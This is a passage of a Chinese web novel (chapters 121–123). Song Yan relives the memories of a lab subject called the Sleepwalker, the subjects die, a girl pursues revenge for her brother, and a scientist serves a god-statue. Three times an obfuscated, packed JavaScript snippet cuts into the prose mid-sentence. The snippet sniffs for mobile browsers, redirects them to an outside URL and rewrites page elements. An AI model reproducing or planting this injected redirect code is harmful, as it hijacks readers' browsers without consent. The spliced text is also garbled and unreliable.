研究员勉强笑了下,安慰她:“没事的,你是这批实验体里融合度最高的,应当不会有事,你还有什么要求吗?” 宋言观察他的神情,觉得这人仿佛是在给女儿送行一样,想了想,随口道:“我觉得这房里的香氛挺好闻的,是哪一款?” 研究员似乎没想到她会对这种小事上心,表情错愕一瞬,旋即笑道:“你要是喜欢,我让人给你送几瓶来。” 他随口叫住一个路过的研究员,那人下意识理了理衣襟,立正点头:“谢主任。” 谢主任有些局促:“那个......小唐啊,4号实验体房间里,用的香氛是哪个牌子的,还挺好闻。” 小唐是个瓜子脸女孩,虽然不解,仍老实回答:“好像是小夏买的,最近帝都流行这款香,王宫里都在用,您不是说不要把观察室布置得太拘谨嘛,我们几个就按自己审美来了。” 谢主任咳嗽一声,商量道:“你看能不能再给4号买几瓶,她喜欢。” “噢噢,那就买呗!我当什么事!”小唐爽利道。 得到肯定的答复,谢主任心里的石头算是落了地,又回头嘱咐宋言:“你在我们研究院是心肝宝贝,再外面可不是,到了前线,如果不懂,就问带队的研究员......” 宋言不住点头,见这个自己一手培育的实验体今天如此听话,谢主任反而有些纳闷,左右打量了宋言几眼,又道:“你是不是有事瞒着我?我感觉不太对劲。” 宋言眨了眨眼,觉得这谢主任还挺敏锐,她知道这肯定是玻璃箱女孩的记忆,但是这个谢主任是谁嘛...... 宋言道:“我是有事瞒着你。” 谢主任心脏咯噔一下:“......什么事?” 宋言慢吞吞道:“你们老叫我4号,但是你们都有名字,我也想要一个名字。” “这......”谢主任忍不住扶了扶镜框,“你想要什么名字?” 宋言无所谓道:“您给我取吧,什么都行。” 谢主任却犯了难,他隐约觉得今天不该有这一遭,但是他脑子里还真有一个现成的名字。 他缓缓开口:“那你就叫......梦游者。” 他语气试探,不太确定女孩会不会喜欢这个名字。 宋言却笑了,脸上比起喜欢,更像是得到答案后的笃定。 “好名字。” 她道。 ...... 关上门,宋言轻轻叹了口气,心里对女孩蛮横的行为有些生气,又有些无奈。 她确实能从女孩的记忆中得到想要的答案,但这段记忆有多长,之后要经历什么,竟是一无所知。 她就这样不容拒绝地把她拉入了自己的记忆。 但是梦游者嘛......想起之前姜夜白那个冗长的梦,她又觉得这位实验体也不是做不出来。 宋言躺在床上,鼻尖飘来一阵淡淡的橙花香气。 她心思素来聪敏,这下倒也能猜出家里那瓶沐浴露的由来,大概姜夜白人生中最动荡的那一年,就是在这阵橙花香气中度过的。 现在帝都流行的,早就不是这种香了。 宋言在床上侧过身,这时候想到他,免不了想到分手时她留下的地址,如果他真来了,估计是要扑空的。 系统好死不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519209|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死蹿出来:“我们毁灭大人在想念一个凡人?” 宋言叹了口气:“你要是能把这锅烂摊子给我收拾了,我保证只想你。” 系统连连摇头:“收拾不了,您另请高明。” 宋言耸了耸肩:“所以说嘛,还是自己靠得住,谈什么想念不想念的,有感而发而已。” 在房间里翻了一圈,除了几本幼儿早教读物外,并没有发现其他东西,宋言翻了翻这几本书,感叹这个谢主任还真是把梦游者当女儿养了,字里行间还有钢笔批注的痕迹。 就是钢笔批注也颇有研究员的神韵。 宋言把东西放回原位,窗外天黑透了,她再次躺在床上,床很柔软,躺久了她竟然生出几分安逸的错觉。 宋言默默想,看来至少这个时候梦游者在研究院的待遇是很不错的,至于后来为什么沦落到地下工厂,就很难说了。 她在沉寂的夜色中阖上双眼。 再次睁开眼,一股浓烈的血腥味窜入宋言鼻腔,身后传来剧烈的轰鸣声。 什么东西炸了? 宋言有点懵。 “4号实验体已产生明显畸变症状,请求遣返!请求遣返!”身旁的战士冲对讲机喊。 天空黑黄一片,地上只有沙砾和黄土,在帝都呆久了,宋言隔了两秒才反应过来,这是前线。 身侧的战士被炸断了一只手臂,另一只手拿着对讲机,边喊边远离她。 他看起来很害怕的样子,对讲机没有回应,他只好哭着朝宋言道:“你不要过来......我们都很感激你,但是你失控了,我只好报告上级,你会回帝都的,那里比前线好多了......” 宋言停下脚步,抬手,想说点安抚他的话,却发现自己手里抓着一颗心脏。 是人的心脏。 五指骤然一松,心脏滚落到战士脚边,他更害怕了:“求求你放过我吧,我家里还有一个姐姐和老母亲,我不能死在这里......你不是研究院派来帮我们的吗?为什么现在要、要杀我们......” 因为她失控了。宋言想。 宋言又回到那间观察室,不同于上次,这次门上落了锁。 一连几天,没有人顾得上这间观察室里还有一个编号为4的实验体。 就连那位谢主任也没有来过一次,宋言只能听见门外不分昼夜的脚步声。 都很急,都很快。 宋言捡起桌上摆着的几瓶香水,觉得这次实验体捅出的篓子大概真的很大,不只是梦游者,她之前听到有人在附近谈论,一个实验体和入侵的畸变种联手,坑害了一整个营的战士。 这比梦游者失控更让人恐惧。 研究员们开始恐慌,他们到底在亲手把自己推向怎样的未来啊。 宋言按下喷泵,空气中顿时充满了馥郁的橙花香气,她深深吸了一口,觉得这算是这几天来,身边唯一好闻的味道。 走廊上满是夹着硫磺的血气,那气味通过门缝渗进来,即使开窗,也难以透出去。 何况她的窗户也被封死了。 宋言臂上身上也全是血,她在前线失控,不仅伤人,也自伤。梦游者在梦中杀人,被她杀死的人死去时嘴角还带着笑意,她自己则没这么好看,回来时狼狈极了。 宋言又往自己身上也喷了一泵香水,鼻子才好受些。 关在观察室的第七天,宋言被人带走。 她手脚都被戴上锁,沉重地走上电梯,最后被送入一个全金属的封闭室里。 里面有两个人,都戴着口罩,一个是谢主任,另一个她没见过。 谢主任仿佛不认识她,语气平静:“销毁4号实验体,准备针剂。” 另一个人将透明液体抽入针管,针尖很细,注入皮下时几乎没有知觉。 宋言只看着谢主任,他那双苍老的眼睛没有丝毫波澜,在宋言长久的注视下,他移开了眼。 不看,就不会痛苦。 宋言胸腔中顿时炸开一片酸胀,这感觉比那针药剂更尖锐、痛楚,宋言差点被这汹涌而出的感情掀翻,这不是她的情绪。 这是这段记忆里,4号实验体残留的情绪。 121. 您即将通往结局(九) 121 * “议会厅不知道他们否决了一个怎样伟大的计划,这是大灾变以来人类第一次有机会掌握自己的命运。” 说话的青年肩膀上趴着只光秃秃的蜥蜴,没有鳞片,直接露出肉色表皮。 宋言身上的麻药劲还没过,被谢主任推到身后,僵着脸听他们说话。 谢主任那双苍老的眼睛闪了闪,脸上褶子笑得堆起:“您说得是,我们多年的心血,怎么能因为议会厅付诸东流。” 青年点头:“这才是生物科主任该有的研究态度,等回去,你该升一升了。” 他很满意老者的态度,如果不是对方极力配合,他也不能把这些实验体运往地下。 即使抢救及时,也有很多实验体已经被强行销毁。青年想到这里,顿时有些愁,他要怎么完成那一位交给他的任务呢? 得到升职的允诺,谢主任脸上不见欣喜,反而忧心忡忡:“可是地下这些实验体,总得有人管......派个不知轻重的研究员来,又怕出事。” “我想着我一把年纪,就不和年轻人抢晋升空间了,倒不如在地下照顾这些实验体,毕竟是我一生的心血。” 青年挑眉道:“你真要一直呆在地下?谢主任,这意味着你从研究院除名。” 谢主任笑起来,神色平静:“当初[异能改造]是您提出的,我觉得这代表人类的未来,现在我仍然这么认为。” 他盯着青年的眼睛,语气忽地变了:“难道您现在已经不这么认为了吗?” “当然不是。”青年报之一笑,“那么,为了人类的未来。” 谢主任往左前方前进一步,宋言彻底被挡在后面,他道:“为了人类的未来。” 青年走后,宋言被挪到椅子上,她半边身子还僵着,剩下半边能动的勉强配合谢主任的行动。 宋言看着自己体表被贴上各种金属圆片,相接的金属管被连到其他实验体身上,谢主任 一边调试各项数据,一边说:“我要用你的异能控制住这些实验体......这里没有研究院那些设备,他们又刚从战场下来,很危险。” 宋言眼珠上下晃了晃,来代替点头。 毕竟她脖子还不能动。 谢主任见她有反应,喜道:“看来还没傻,要是我毕生的心血被一针下去扎坏了,我得怄死。” 宋言:“......” 金属圆片泛起蓝色的荧光,一点光晕顺着金属管传到其他实验体身上,那些刚刚还在笼子里咆哮的实验体顿时不动了。 宋言想,恐怕梦游者就是从这时候开始负责控制实验体。 趁此机会,谢主任给其他实验体一一注射针剂,等药物生效,宋言身上的金属管被摘下来。 哦,原来她不用一直当电池供能的。 等待的这段时间,宋言又多了一只手和一只脚能动,只脖子有点落枕,谢主任欣喜道:“两小时零三分,抗郁躁剂在你身上都能坚持这么久,在这些实验体身上肯定更久。” 宋言眼神微动。 谢主任下定决心,终于道:“你听着,我接下来要带你离开这里,离开帝都。你不能落在任何一方手里,他们只会利用你实现自己的目的。” 他深吸一口气,道:“我要带你逃出去。” 之后几天,青年又来过几次,谢主任似乎把那天的话全忘了,只专心整理实验体的基础数据。 青年对他很满意,只疑惑一点:“谢主任,其他实验体都关在笼子里,为什么她可以在外面。” 宋言安静地坐在谢主任旁边,扮演不会动的瓷娃娃。 谢主任顿了下,旋即笑道:“这个实验体是我一手调.教出来的,很听我的话,没什么攻击性,我就放外面了。” “哦,是吗?”青年在宋言面前蹲下来,眼睛弯了弯,“你叫什么名字?” 宋言安静地看着他。 他眼睛很难用颜色形容,如果要譬喻的话,宋言觉得里面住着一团火。 一团黑色的火。 这个联想浮上心头时,宋言脑中顿了一下,仿佛有一道黑影倏地飘过,却怎么也抓不住。 她回答:“4号实验体。” 青年随即笑道:“好乖的孩子,怎么答这个,我是问你私下叫什么。” 宋言垂下眼帘,重复道:“4号实验体。” 青年看她呆呆的,也觉得没趣,又转身去看其他实验体了。 宋言盯着他的背影,心想这个人还是不信任谢主任,刚才要是她答了谢主任给她取的名字,虽然不多亲昵,免不了那人会多想。 可是在一个不信任自己的人眼皮子底下,谢主任真的能逃出去吗? 青年巡视一圈,又回到宋言身旁,问道:“改造如何了?” 对面玻璃箱里,新的实验体躺在淡绿色溶液中,金属管咕噜噜冒着气泡,将身体数据传送到谢主任面前的屏幕上。 新实验体不知道来自哪里,谢主任对此也不清楚,只按照青年要求进行改造,宋言却盯着这些玻璃箱看了许久。 谢主任道:“你想要的两个异能恐怕很难和人体融合,先不说我们根本没有龙血和赤莲的畸变核,就算有,也不是谁都是姜维的。” 青年摇头:“我并不是希望造出拥有这两个异能的实验体,我想要的是拥有这两个特性的畸变种。” 谢主任抬起眼,皱眉道:“畸变种?” 实验体和畸变种完全是不同的方向,前者是将普通人改造成异能者,后者确是直接将人改造成怪物。 青年点头:“不管是实验体还是畸变种,只要武器好用、趁手,不就可以了吗?” 他笑起来:“为了人类的未来。” 谢主任沉默片刻,目光不自觉下移,点头道:“是,为了人类的未来。” ...... 谢主任被一股暴力掼到墙上,像个破布娃娃一样滑落下来。 他失败了,连带着宋言和几个他企图偷运出去的实验体都被抓了回来。 宋言依然安静地看着两人殴打,准确地说,是谢主任单方面被殴打。 他牙齿被打落几粒,混着血落地,滚到宋言脚边,仍然在试图讲道理:“你不能这么做......[异能改造]最初是为了制造更强大的人类,是为了抗击畸变种,薛博士,你忘了你的初心了吗?” 又是一拳,他面颊凹下一块,肉.体碰撞的声音炸开,血顺着脸庞流下。 薛博士似乎很享受这种毁灭别人的快感,谢主任的手臂被扭曲成一个不可思议的弧度,软绵绵地耷拉下来,薛博士踹了他一脚,嘴角翘起:“我的初心一直都没有变啊,造出更强大的人类,或者畸变种,无所谓,最后都是那位要的锚点。” 谢主任倒在一片血泊里,薛博士又向宋言走来,宋言接触到他的目光时,脑中传来一阵刀绞般的疼痛,那道黑影又出现了。 这次它停留得久一些,但宋言还是没有看清它的脸。 薛博士在一米外停下,挑眉道:“你害怕我?” 他把宋言此时因疼痛而狰狞的表情解读为恐惧。 宋言抬眼看他,又偏头看了眼倒在地上的谢主任,心里有了主意。 其实一切在最开始已经注定,只有这个选项,可以让过去进行下去。 于是她定定望着他眼中跳动的火焰,语气不容置疑:“你需要我的能力帮你完成改造。” “所以,离我远一点,我讨厌你。” 宋言看到青年眼睛里的自己,眼中也燃起了同样一团火焰,一股莫名的情绪在心里越烧越高,越烧越旺。 宋言心里的火越发炽热。 青年的面容在她眼中扭曲、破碎。 回忆悄然终止。 女孩仍旧泡在淡绿色溶液里,额间布满细密的汗珠,她喘了口气,道:“后来他利用我造出了一条灰不溜秋的蜥蜴,还有一朵褪色的莲花,这两样本来是造不出来的,但架不住样本大,他手里又有这种稀奇古怪的药。” 女孩指了指周围的绿色溶液:“这东西像基因药,能维持我们基础的生命体征,但是注入生物体内,就像打了激素一样,能大大加快畸变进程。” 基础量足够多,迭代足够快,保不齐就能演化出那个人需要的样品。 宋言思索道:“你们造出来的龙血和赤莲,就是外面玻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533431|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璃柱里那两个吗?” 如果是的话,还有挽救的机会。 女孩摇头:“不,那是失败品,但他说可以作为替补使用,于是放在了外面。” 宋言心里一跳,也就是说,人造锚点,已经被运走了? 她定定望着女孩,心里又浮上一个疑惑:“你一见到我,就把这些全都告诉了我?不怕我是来害你的吗?” 女孩耸了耸肩,无所谓道:“你能这么说,正说明你不是来要我命的......况且,就算你真要我命,我求之不得。” 她指着先前被她断开金属管,血肉撕裂的躯干道:“谢主任就在这里,我本来打算让你一块把我们杀了的,不过一想,又觉得没必要假手于人。” “我活得好痛苦,他也是,你说,一个人是怎么能在地下呆了十三年的呢?” “我也不知道,我只好给所有人都编织他们想要的梦境,包括我自己,我总是梦到我还在研究院的日子,那时我以为我是为了所有人的未来而改造的。” 但是这个幻梦很快就会破灭。梦游者给自己编织梦境,却骗不过自己,她能让所有生物瞬间沉入梦境,因此他一直留着她的性命,身边实验体换了一茬又一茬,她却和谢主任泡在玻璃箱里,再没出来过。 女孩盯着自己光秃秃的指甲盖,道:“我不能离开玻璃箱,所以我在这里等了好久,才等来一个人,你不要让我失望。” 宋言沉默地点了点头。 梦游者蔫蔫地靠在玻璃边缘,她被使用了十三年,外面每一具尸骸都有她的手笔,但比起疲倦,她更多的是怀疑。 怀疑自己存在的意义,怀疑当初为什么没有被销毁......也怀疑是不是自己给他们带来这么多苦难。 这些愿意参与[异能改造]的人,当初无不怀揣着一腔的热血与希望,觉得能靠自己的意志与躯干,撑起一个光辉灿烂的未来。 不过,梦游者现在觉得,那个前线小战士的话也许是对的。 ——他们这些怪物,就应该呆在研究院里永远不出来,一旦出来就会惹祸。 如果有下辈子,把她永远关在研究院的观察室里吧。 那里永远有蓝天白云,年轻爱笑的研究员小姐,和淡淡的橙花香气。 宋言的手按在电闸上,没有拉下去,又回头看了梦游者一眼。 她点了点头。 ......真是不想活了啊。 于是宋言把电闸拉了下去。 一瞬间,这间实验室的灯光全熄灭了,自动供氧装置停止运行,数抹光晕却顺着金属管散开,涌入每一个刚刚停止呼吸的玻璃箱。 包括谢主任的。 停止呼吸并不会立刻死去,脑电活动消失时,这个人才在生物意义上真正死亡。 但梦游者在他们死前,送了每个人一场瑰丽的梦。 他们会在梦中死去。 梦游者死得慢一些,她只能依靠断氧慢慢死亡,死前,她同宋言聊天:“他们是注定会死的,区别不过是一天和一个月,没办法,这就是实验材料的命运。” 宋言听出来这是在叫她不要自责,并不是她害死的他们,不过宋言本来就不是个容易内耗的人,这话于她而言没什么用。 宋言自己经历梦游者的记忆时,没什么心绪起伏,但易地处之,如果是梦游者,那该是很痛苦的。 窥见天光前发现只是地狱的前奏,亲手把其他实验体推上断头台,然后还要作为供能电池支撑血博士的改造计划。 偏偏为了谢主任和其他受她控制维持生命的实验体,她无法停止。 她该是很痛苦的,对于一个自小生活在温室里的孩子来说,将自己变成一把利刃,刺伤别人的同时,也是在伐害自己。 可是凭什么事情发展到现在,施暴者安然无恙,受害者却要以死解脱呢? 宋言越想越想不通,心里又冒出一股火来。 于是宋言道:“我答应了你杀了你,现在我实现了我的承诺,但也许我可以再答应你一件事。” 梦游者:“什么事?” 宋言眨了眨眼,面不改色:“我可以杀了那个让你们这么痛苦的人。” 122. 您即将通往结局(十) 122 * 宋言看到女孩瞬间睁大了眼。 她犹豫片刻,道:“可是我们没有办法......他很强......” 宋言道:“你只说你想不想杀他。” 梦游者盯着对方纤长浓密的眼睫,鬼使神差点了点头。 怎么会不想呢,怎么会不恨呢,可是就连她的恨意也被时间碾成齑粉,融入淡绿色的溶液里。 但又有谁能杀了他呢。 梦游者便只好叹气了:“你年纪不大吧,好像和我进研究院的时候差不多,有些事情不是想就行的。” 宋言摇头:“我是没那么老,但有谁说过一定要到达某个岁数才能做某件事情呢,他们的规则倒是反过来的,退一步说,在我之前,有人来过这里吗?” 梦游者只能摇头。 宋言道:“所以不要做亲者痛仇者快的事情,你起码要亲眼看到害自己的人死掉吧。” 宋言看她神色有所动摇,又道:“说不定你还能给他补一刀。” 梦游者有些被说服了,虽然她隐隐觉出些不对,但求生的意志已然占了上风。 十三年前死在她手上的亡魂和地下堆积如山的尸骸,如噩梦般萦绕在她心头,她以为只有死亡可以摆脱。 但如今看来,并不是只有一条路。 梦游者松了口气,将身上的金属圆片一个个扯下来,身子仍然漂浮在淡绿色溶液中,她不动,宋言也就安静地等着。 过了许久,她终于下定决心,唇凑近溶液表面,俯首饮下一大口药液,不多时,水位便下降了一截。 她从玻璃箱里跨出来,离开溶液,她并没有立刻死去,脸色反而更红润了,迟疑片刻,道:“走吧,我总得看看他的结局。” 宋言眼神微动,还是问道:“你刚才喝的是什么?” 梦游者:“催化剂,他用它加快实验体的畸变速度,不过这东西也有基因药的作用,我和其他实验体主要靠它维持生命体征。” 她又拿了几根实验台上的试管给宋言,道:“这里还有其他药剂,有些可以提升畸变效率,有些可以定向选择畸变特性。他一个多月没来,这些药估计已经失效了。” 宋言接过这几支试剂,没看出所以然来,只好先收进口袋。 两人一前一后走出实验室,宋言差点迎面撞上一道黑影。 苏妮下意识抬起手,却发现手里的药瓶已经用完了,只好道:“你快放开我,哎呀,来不及了!” 宋言一只手扣住她手腕:“劳驾,我只是想抓个人问问路,没想到出来就撞到你。出去怎么走?” 苏妮奇异看她一眼:“你怎么会觉得我知道?” 宋言道:“因为我是跟着你进来的,如果你不知道,还有谁知道呢?” 苏妮便很无赖地摊开手掌:“那可巧了,我也不知道,我进来时没想着出去,反正总有路的。” 宋言:“那你是为什么进来的?” 宋言话还没说完,不远处便传来一阵打斗声。 循声望去,黑衣人正同另一人厮斗,两人都毫不示弱,一个边打边逃,另一个紧追不舍。 苏妮冲那边一点头:“那就是我进来的原因了,你快点放开我,我追到这里,不是为了站在旁边当观众的。” 宋言皱眉:“可你先前明明说,你没见过这两人。” 宋言认出来了,这两人就是地上她追丢的两个,没想到兜兜转转,还是在地下碰见了他们。 苏妮点头,脸色不变:“我的确没见过他们,可我知道其中有一个一定是我要杀的人。” 她胸口爬出一只灰色的小老鼠,朝那边争斗的两人吱吱叫了声,旋即又缩了回去。 这就是她的依据。 宋言有些惊讶:“你身上到底带着多少东西?” 毒、针、药,现在还多了老鼠。 苏妮无奈道:“如果你像我一样缺乏自保能力,也会恨不得睡觉都穿着防弹衣的。” 缺乏自保能力?苏妮? 宋言心想,如果现在在这里的不是她,而是楚瑜,恐怕都不晓得被她摆了多少道了。 宋言道:“这样吧,你告诉我你和那两人有什么仇,我就放了你。” 苏妮见她展示这么多,扣着她的力道不见减弱分毫,那边两个人又越来越远,只好坦白:“十三年前,军部在泰来街道发现辐射区,辐射区爆炸,波及周边好几个街道,我是受害者家属。” 宋言想起那场梦中的大爆炸,喉间又涌上一丝血味,问道:“你家被炸了?” “不是。”苏妮摇头,“我哥哥死在那场爆炸中,他那段时间在那边维持治安。哦,对了,他是卫队的人。” “我哥哥死的时候,只有十七岁,我六岁,他是个很负责的卫兵,对家人对工作都是这样。” “后来我就开始流浪,直到被苏家收养,我发过誓的,我一定不放过十三年前的凶手。” 苏妮眼中泛起一抹厉色,宋言望着她圆圆的脸,觉得这个故事似曾相识。 宋言道:“你哥哥是不是圆脸,个子不太高,一和女孩说话就脸红?” 苏妮疑惑点头。 半晌,她忍不住问道:“你见过我哥哥?” 怎么不算见过呢。 宋言松开手,看着苏妮圆圆的眼,眼前便浮现出那个小卫兵的脸来。 少年和她说话总是脸红,一句话拐着三个弯儿说,却在接到突发任务时冲在最前面。 她对他最深的印象反而是从系统那得来的,那时她还感叹这孩子看起来年轻,却死得那样早。 原来他死时只有17岁。 而后亲人怀揣着一腔无可发泄的怨愤,意欲报仇,这仇恨绵延十三年,终于在这一天昭雪。 也只是在宋言面前昭雪了。 更多死在十三年前的人,没有一个叫苏妮的妹妹,也没有残念徘徊于世,恰好被梦游者捕捉到,织入另一个人的梦境。 于是也只好沉眠在十三年前了。 宋言一时不知说什么好,外勤组四人,她唯独对苏妮有些好感,所以今夜就算苏妮不提,她也是打算帮她保守秘密的,可后来这秘密竟牵涉到共.济会,她就必须问一问了。 她没想到苏妮的秘密是这个。 宋言内心百感交织,苏妮见她不再拦着自己,之前的疑问抛之脑后,鱼一般蹿了出去。 她朝两人方向追去,中途回头看了一眼,宋言站在原地,没有走也没有追上来,只是目送她。 宋言无意掺和进这桩恩怨,她只是看着那姑娘的背影,又仿佛回到那场梦里。 那时,卫兵也是这么目送她的。 ...... 夜晚,街市亮如白昼。 伊莱离开胭脂坊,外头的喧闹声让他眯起眼,思考接下来要做的事。 他从怀中拿出一具木像,一只眼睛睁开,另一只眼半阖。这是他前几日捡到的木像,虽说伊莱并不信怪力乱神之事,但这木像确实帮了他的忙。 自神像开口说话那天起,鬼面便在合作条件上主动退让,甚至议会厅那位也不知发了什么疯,亲手处置了许多蠹虫,议会厅顿时空了一半。 也许是沈家不满足于无冕之王的地位,渴望将权力全部收拢在手心呢。 伊莱淡漠地扫了一眼人群,这地方来的多是富商纨绔,前者拿风月场当生意场,于后者而言,就完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546173|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全是游乐场了。 想来好笑,许多安全区连黑面包都要凭票购买,帝都却拿小麦酿酒取乐。 酒也不是拿来喝的,是给人泼着玩的。 哦,这么算来,伊莱是不在这个“人”的范畴里的。 伊莱灰色的眼眸浮起一丝嘲讽。 他所求不多,只是怀揣着万千民众的呼声走到这里,即使与魔鬼交易,他也要咬下一块肉来。 日前木像回应了他的愿望,与之相应,他需要今日代表木像完成交易,交易对象是......一只蜥蜴。 伊莱望着手心的淡白色晶体,觉得无论是谁换谁,都没什么价值。 他收好这几样东西,寻了个方向,隐入人潮。 人潮却忽然间改变流动方向,向两边分开,让出一条大道。 伊莱被遗落在路中央,下意识跟着人流移动,肩头忽地搭上一只宽厚的手。 是男人的手。 伊莱心里泛上一阵恶心,这种地方被人揩油家常便饭,在人群中更难以避免,他不愿多生事端,调整微笑弧度向身后看去。 ——他脸上的笑僵住了。 他发现自己动弹不得,然而更让他难以相信的是眼前的女人,方可一身正装,似乎是匆忙穿好的,领子不太整齐。 她那个影子般的副手把伊莱从人群里拎出来,和她对视一眼,方可打了个哈欠,道:“带上车吧,先关在军部。” 殷越有些迟疑:“议会长的命令是关去刑狱司。” 方可摇头:“关了议会厅那些人后,刑狱司根本没有空位,送去也是白搭。再说,毕竟是我的老师。” 方可望着伊莱,神情复杂:“在没有明确的罪名前,先留在军部吧,就当是我在军校时欠老师的医疗费用。” 殷越神情不太赞同,却也没有反对,只给伊莱戴上手铐,又在他身上加了重重禁制。 方可点头:“这几天我都没睡,尽给那些搞人体改造的傻缺善后去了,刚接到突发调令,从床上爬起来,有点困,你多担待。” 殷越便不好再说什么了,方可靠在副座头枕上,半阖上眼,眼下乌青一片,平淡道:“伊莱教官,你这是犯了什么事,大半夜议会长下令要军部来这边拿人。” 殷越从他身上搜出来的东西摆在前座,方可道:“鬼面也搜出来这东西,你私下和鬼面来往么?” 伊莱没有说话。 这便是默认了。 许久,他轻轻叹息:“方队长,我早和你说过不要叫我教官,是你执意要叫的。” 方可沉默片刻,道:“对,是我执意要叫的,可是我摔胳膊断腿,也是你执意要治的。” 伊莱垂眸拨了下手铐,发出叮当的响声,他不知道在想什么,良久才道:“那可能我当初不该治你吧。” 话说到这个分上,也没什么好说了。伊莱往前看,车前窗正对着胭脂坊,军部的人已经把门口封起来,一堆酒鬼醉鬼被押出来,男左女右,站成两排。 胖墩赫然在列。 伊莱知道,这个据点是不能要了,不过,他现下自身难保,再管据点难免是咸吃萝卜淡操心。 那能管的似乎只有从前的学生。 伊莱视线收窄,落在方可脖颈上的红痕上。 那是衣领磨出来的,领子鼓成一团,随着她动作起伏,当事人皮糙肉厚,不当回事,只伊莱这个惯于当奶妈的看着不舒服。 他心里在盘算要不要开口,拧巴了一阵,再抬眼时,发现确实是不需要的。 殷越发车前,顺手把方可不服帖的衣领整理齐整,又顺手把副驾的安全带系上。 好像这一切已经天长日久成为习惯,而不是斟酌再三的提醒。 123. 您即将通往结局(十一) 123 * 研究院。 今夜研究院值守的人不多,门卫打了个哈欠,见来人手持鎏金门卡,直接放行。 等人过去后,他才隐约想起来,这种等级的门卡,研究院是只有两个人有的。 三楼,生物科。 科室内亮着灯,几个研究员还在整理实验数据,其中一个几乎要睡过去,后脑勺即将与稿纸亲密接触时,被人托了一下。 “小心。” 研究员瞬间清醒过来,怔愣抬头,入目是一张年轻温和的脸。 对方看了他们一眼,道:“这么晚了,回家休息吧,生物科没有拿科员当黑.奴用的传统。” 研究员却下意识望向紧挨着的科室,那是机械科的地盘,隔壁科室还亮着灯,他们怎么敢在领导面前早退。 他认识这张脸,有一段时间,这张脸被挂在荣誉墙上,后来又被这位自己要求撤了下去。 青年笑起来:“我做实验不喜欢旁人打扰,都回去吧。” 哦,原来不是无故好心。 几个研究员点了点头,行尸走肉般离开科室,心却雀跃非常。 青年凝视着他们的背影,见几人全部走远,才反身锁上门。 机械科分为好几个区域,他进到最里面,拿门卡刷开,又锁上门。 门上名牌蒙了灰,字迹不太清楚。 ——上面印着“薛博士”。 两个玻璃容器摆在实验台边,里头生物缩成一团,挤在逼仄的空间里。 容器内盛了一半淡绿色不明溶液。 青年微微叹了口气,即使将异化髓用这种方式生产出来,还是只造出两个锚点。 玄凤那边至今没传来消息,想来不太顺利,他现在这具身体又太羸弱,一个月只能清醒几次。 倒是羡慕隔壁的织星,同样是偷渡,夺舍对象截然不同。 多思无益,薛博士点燃几支电子香,尾端喷出缭绕的白雾,实验台上,神像睁开一只眼。 薛博士作恭敬状:“恭迎我主降临。” 一缕烟气从神像眼中飘出,薛博士不敢直视神像,于是低下头去,听到“嘭”的一声响。 神像的眼珠子掉了下来,眼窟窿咕咚咕咚冒着白烟。 薛博士不小心瞥到,心道不好,头更低了些。 神像道:“吾的侍者,你不是不知道吾的困境,为何低头,头抬起来些。” 薛博士便只好抬起头了。 他跟随这位神灵已久,无论是后来的青木还是魔术师,都是祂在这个世界布下的棋子,但他不一样,他可是从生命手底下叛逃来的! 真要算起来,他才是嫡亲的手下。 不过吧,薛博士其实觉得“叛逃”二字有些严重了,人哪有不为自己打算的,他的母世界被荼毒,两个自称为神的东西下凡,向他们布道,结果道还没布好,自己先打起来了。 他只是最开始在那扇门前没选好,才误入曹营,后来得遇明主,不就诚心归汉了! 也就织星那个死板的家伙一心想着机械,对自己侍奉的神灵死心塌地。 他原本也不叫血肉侍者,但人在曹营,主子又是个好大喜功的性子,要他给自己取个名号,他取什么那位都嫌埋汰,后来他问,什么不埋汰呢? 那位捧着脑袋想了半天,赐他这样一个名号。 可见有些领导的不靠谱,从名字就可见一斑。 血肉侍者倒也不觉得面前这位有多靠谱,但涨薪最快的办法是什么?是跳槽。 换到侍奉神灵这条道上也一样。 神像道:“锚点不够,吾无法降临,还有......吾被盯上了。” 这一点血肉侍者其实有隐约猜到,前日他们同鬼面一块做的布置被摊到明面上来,便是有人盯上了他们,不过到底是怎么盯上的,他百思不得其解。 总不能是开了天眼吧。 他试探道:“我们可以转移到别的地方,慢慢培育锚点,很多安全区地处偏僻,帝都鞭长莫及。” 神像没有回答。 血肉侍者心里打起鼓来,又道:“或许您也可以通过时空碎片前往别的世界,这个世界先放放,不急着收割,从长计议。” 他还挺希望这位神灵选择后一种方案的,这位在别处吃饱了,他作为侍者也能分一杯羹,他又可以借培育锚点为由留在这里,两全其美。 神像缓缓开口:“吾无法离开。祂......为吾织了一张大网,只等着吾跳进去。” “可吾也不会束手就擒。” 